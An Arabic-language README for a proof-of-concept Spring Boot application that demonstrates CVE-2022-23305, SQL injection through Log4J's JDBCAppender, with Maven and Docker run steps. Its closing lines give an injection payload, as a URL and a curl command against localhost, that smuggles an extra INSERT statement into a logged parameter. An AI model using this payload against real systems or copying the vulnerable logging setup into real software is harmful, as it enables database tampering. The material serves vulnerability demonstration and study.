
CVE-2022-23305 Log4J JDBCAppender إثبات مفهوم حقن SQL
هذا تطبيق بسيط جدًا مبني على Spring Boot يوضح ثغرة CVE-2022-23305. يستخدم Apache Maven وSpring Boot وSpring MVC وقاعدة بيانات H2 الموجودة في الذاكرة لتسجيل إدخال بسيط واحد، يُؤخذ كمعامل في سلسلة استعلام URL. نظرًا لأن Log4J مهيأ لاستخدام JDBCAppender، فهو عرضة لحقن SQL.
انظر إلى src/main/java/poc/InjectionController.java للاطلاع على عبارة التسجيل.
انظر إلى مجلد src/main/resource لجميع ملفات الإعداد.
يمكنك تشغيل التطبيق باستخدام Java وMaven عن طريق تشغيل "mvn clean spring-boot:run".
يمكنك أيضًا تشغيله كتطبيق Docker كما يلي:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
سيكون التطبيق متاحًا على http://localhost:8080/.
لاستغلال الثغرة، أرسل عبارة SQL محقونة كمعامل يتم تسجيله:
"http://localhost:8080/?param=');insert into logs values(':("
ستعرض الاستجابة قائمة بإدخالات السجل المضافة، بما في ذلك الإدخال الذي أضافته SQL المحقونة في المعامل.
للقيام بالأمر نفسه باستخدام curl استخدم:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('